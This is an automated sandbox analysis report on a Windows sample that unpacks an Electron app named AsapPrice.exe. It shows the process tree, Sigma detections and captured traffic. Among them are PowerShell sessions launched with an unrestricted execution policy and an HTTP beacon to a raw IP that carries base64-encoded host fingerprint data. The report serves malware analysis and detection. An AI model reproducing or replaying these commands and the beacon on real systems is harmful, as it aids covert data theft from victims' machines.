Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
LN1lgDlZ8e.exe

Overview

General Information

Sample name:LN1lgDlZ8e.exe
renamed because original name is a hash value
Original sample name:bffec03a0774af5b87eab0eb4a2f75d3b6c1d580bd5b2d95f5bfded52019527c.exe
Analysis ID:1590542
MD5:615b9ef741787e9625f20ded4a0121db
SHA1:60150f2829d471373422013b2ef3dac6ce5d53d9
SHA256:bffec03a0774af5b87eab0eb4a2f75d3b6c1d580bd5b2d95f5bfded52019527c
Tags:exeTHSUPPORTSERVICESLTDuser-JAMESWT_MHT
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Drops large PE files
Loading BitLocker PowerShell Module
Contains capabilities to detect virtual machines
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Drops PE files
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries keyboard layouts
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Console CodePage Lookup Via CHCP
Uses 32bit PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • LN1lgDlZ8e.exe (PID: 7852 cmdline: "C:\Users\user\Desktop\LN1lgDlZ8e.exe" MD5: 615B9EF741787E9625F20DED4A0121DB)
    • AsapPrice.exe (PID: 8120 cmdline: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe MD5: E9DFAA053710AE038CB4741FBE77E9D9)
      • cmd.exe (PID: 7476 cmdline: C:\Windows\system32\cmd.exe /d /s /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • chcp.com (PID: 688 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)
      • AsapPrice.exe (PID: 1104 cmdline: "C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1880 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: E9DFAA053710AE038CB4741FBE77E9D9)
      • cmd.exe (PID: 1096 cmdline: C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 1616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 2992 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 3492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 1556 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 1820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 3348 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 2340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • AsapPrice.exe (PID: 3352 cmdline: "C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc" --mojo-platform-channel-handle=2196 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 MD5: E9DFAA053710AE038CB4741FBE77E9D9)
      • cmd.exe (PID: 5832 cmdline: C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • findstr.exe (PID: 6360 cmdline: findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
      • powershell.exe (PID: 7596 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 6276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6660 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 4568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6976 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 4600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 4580 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 4932 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7872 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5612 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 2148 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6244 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 1272 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 2072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 1820 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6308 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 3392 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 4944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7180 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 8008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5952 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 1516 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 2296 cmdline: C:\Windows\system32\cmd.exe /d /s /c "C:\Users\user\AppData\Local\Temp\y0zoGtu4DzqpR6nMAU.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 4568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Change PowerShell Policies to an Insecure Level
Source: Process startedAuthor: frack113: Data: Command: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe, ParentImage: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe, ParentProcessId: 8120, ParentProcessName: AsapPrice.exe, ProcessCommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, ProcessId: 2992, ProcessName: powershell.exe
Sigma detected: Console CodePage Lookup Via CHCP
Source: Process startedAuthor: _pete_0, TheDFIRReport: Data: Command: chcp, CommandLine: chcp, CommandLine|base64offset|contains: r), Image: C:\Windows\System32\chcp.com, NewProcessName: C:\Windows\System32\chcp.com, OriginalFileName: C:\Windows\System32\chcp.com, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c "chcp", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7476, ParentProcessName: cmd.exe, ProcessCommandLine: chcp, ProcessId: 688, ProcessName: chcp.com
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe, ParentImage: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe, ParentProcessId: 8120, ParentProcessName: AsapPrice.exe, ProcessCommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, ProcessId: 2992, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results
Source: LN1lgDlZ8e.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\LICENSE.electron.txtJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\LICENSE.electron.txtJump to behavior
Source: LN1lgDlZ8e.exeStatic PE information: certificate valid
Source: LN1lgDlZ8e.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\user\AppDataJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrOJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\userJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\resourcesJump to behavior
Source: Joe Sandbox ViewIP Address: 172.64.41.3 172.64.41.3
Source: unknownTCP traffic detected without corresponding DNS query: 91.184.243.198
Source: unknownTCP traffic detected without corresponding DNS query: 91.184.243.198
Source: unknownTCP traffic detected without corresponding DNS query: 91.184.243.198
Source: unknownTCP traffic detected without corresponding DNS query: 91.184.243.198
Source: unknownTCP traffic detected without corresponding DNS query: 91.184.243.198
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficHTTP traffic detected: GET / HTTP/1.1Accept: application/json, text/plain, */*User-Agent: axios/0.27.2Host: www.google.comConnection: close
Source: global trafficHTTP traffic detected: GET /login.php?event=init&id=bmF0aXZlMQ==&data=OCBHQl9bb2JqZWN0IE9iamVjdF1fV1BXUzNBX3RydWVfMTI4MHgxMDI0X1dpbmRvd3MgMTAgUHJvXzExNiBtaW51dGVzICgwLjk0IGhvdXJzKV9DOlxVc2Vyc1x0aW5hXzQ2ODMyNV90aW5hX1dpbmRvd3NfTlRfeDY0XzEwLjAuMTkwNDVfQzpcVXNlcnNcdGluYVxBcHBEYXRhXFJvYW1pbmdfQzpcVXNlcnNcdGluYVxBcHBEYXRhXExvY2FsXFRlbXBfVElOQS1QQ19fSW50ZWw2NCBGYW1pbHkgNiBNb2RlbCAxNDMgU3RlcHBpbmcgOCwgR2VudWluZUludGVsX0FNRDY0X0M6XzJfQzpcVXNlcnNcdGluYVxBcHBEYXRhXExvY2FsXFRlbXBcMnByOU92MWZzVks0d09pOUR6RXFiWnhic3JPXEFzYXBQcmljZS5leGU= HTTP/1.1Accept: application/json, text/plain, */*User-Agent: axios/0.27.2Host: 91.184.243.198Connection: close
Source: AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: chttps://www.baidu.com/s?ie={inputEncoding}&wd={searchTerms}https://www.baidu.com/s?ie={inputEncoding}&word={searchTerms}https://www.baidu.com/{google:pathWildcard}/s?ie={inputEncoding}&word={searchTerms}sigs_ssp{google:baseURL}#q={searchTerms}{google:baseURL}search#q={searchTerms}{google:baseURL}webhp#q={searchTerms}{google:baseURL}s#q={searchTerms}{google:baseURL}s?q={searchTerms}https://go.mail.ru/msearch?q={searchTerms}&{mailru:referralID}https://m.so.com/s?ie={inputEncoding}&q={searchTerms}https://m.so.com/index.php?ie={inputEncoding}&q={searchTerms}https://m.sogou.com/web/{google:pathWildcard}?ie={inputEncoding}&keyword={searchTerms}http://searchatlas.centrum.cz/?q={searchTerms}http://hladaj.atlas.sk/fulltext/?phrase={searchTerms}http://isearch.avg.com/search?q={searchTerms}http://search.avg.com/route/?q={searchTerms}&lng={language}https://isearch.avg.com/search?q={searchTerms}https://search.avg.com/route/?q={searchTerms}&lng={language}http://search.babylon.com/?q={searchTerms}http://search.conduit.com/Results.aspx?q={searchTerms}http://www.delfi.lt/paieska/?q={searchTerms}http://www.delta-search.com/?q={searchTerms}http://www1.delta-search.com/home?q={searchTerms}http://www1.delta-search.com/?q={searchTerms}http://www2.delta-search.com/home?q={searchTerms}http://www2.delta-search.com/?q={searchTerms}http://www.search.delta-search.com/home?q={searchTerms}http://www.search.delta-search.com/?q={searchTerms}http://www.yhs.delta-search.com/home?q={searchTerms}http://www.yhs.delta-search.com/?q={searchTerms}http://mixidj.delta-search.com/home?q={searchTerms}http://mixidj.delta-search.com/?q={searchTerms}http://search.goo.ne.jp/web.jsp?MT={searchTerms}&IE={inputEncoding}http://search.goo.ne.jp/sgt.jsp?MT={searchTerms}&CL=plugin&FM=json&IE={inputEncoding}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Default.aspx#q={searchTerms}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Result.aspx#q={searchTerms}http://start.iminent.com/?q={searchTerms}http://start.iminent.com/StartWeb/1033/homepage/#q={searchTerms}http://search.incredibar.com/?q={searchTerms}http://mystart.incredibar.com/?search={searchTerms}https://www.neti.ee/cgi-bin/otsing?query={searchTerms}&src=webhttps://www.neti.ee/api/suggestOS?suggestVersion=1&suggestQuery={searchTerms}https://nova.rambler.ru/search?query={searchTerms}https://nova.rambler.ru/suggest?v=3&query={searchTerms}http://www.search-results.com/web?q={searchTerms}http://search.snap.do/?q={searchTerms}http://feed.snapdo.com/?q={searchTerms}http://feed.snap.do/?q={searchTerms}http://en.softonic.com/s/{searchTerms}http://www.softonic.com/s/{searchTerms}http://www.softonic.com.br/s/{searchTerms}http://buscador.softonic.com/?q={searchTerms}http://nl.softonic.com/s/{searchTerms}https://search.softonic.com/?q={searchTerms}https://en.softonic.com/s/{searchTerms}https://www.softonic.com/s/{searchTerms}https://www.softonic.com.br/s/{searchTerms}https://buscador.softonic.com/?q={searchTerms}https://nl.softonic.com/s/{s
Source: global trafficDNS traffic detected: DNS query: www.google.com
Source: global trafficDNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: unknownHTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://ak.apnstatic.com/media/images/favicon_search-results.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://ak.apnstatic.com/media/images/favicon_search-results.icohttp://dts.search-results.com/sr?lng=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://arianna.libero.it/search/abin/integrata.cgi?query=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://autocomplete.nigma.ru/complete/query_help.php?suggest=true&q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://buscador.terra.es/Default.aspx?source=Search&ca=s&query=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://buscador.terra.es/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://buscador.terra.es/favicon.icohttp://buscador.terra.es/Default.aspx?source=Search&ca=s&query=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://buscar.terra.com.ar/Default.aspx?source=Search&ca=s&query=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://buscar.terra.com.ar/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://buscar.terra.com.ar/favicon.icohttp://buscar.terra.com.ar/Default.aspx?source=Search&ca=s&que
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://clients3.google.com/cert_upload_json
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://crbug.com/1138528
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only#
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://dts.search-results.com/sr?lng=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://find.in.gr/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://find.in.gr/Themes/1/Default/Media/Layout/icon_in.png
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://find.in.gr/Themes/1/Default/Media/Layout/icon_in.pnghttp://find.in.gr/?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://g1.delphi.lv/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://g1.delphi.lv/favicon.icohttp://www.delfi.lv/search_all/?ie=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://i.rl0.ru/2011/icons/rambler.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://i.rl0.ru/2011/icons/rambler.icohttp://nova.rambler.ru/search?query=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://i.wp.pl/a/i/stg/500/favicon.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://i.wp.pl/a/i/stg/500/favicon.icohttp://szukaj.wp.pl/szukaj.html?q=
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://imgs.sapo.pt/images/sapo.ico
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://imgs.sapo.pt/images/sapo.icohttp://pesquisa.sapo.pt/?q=
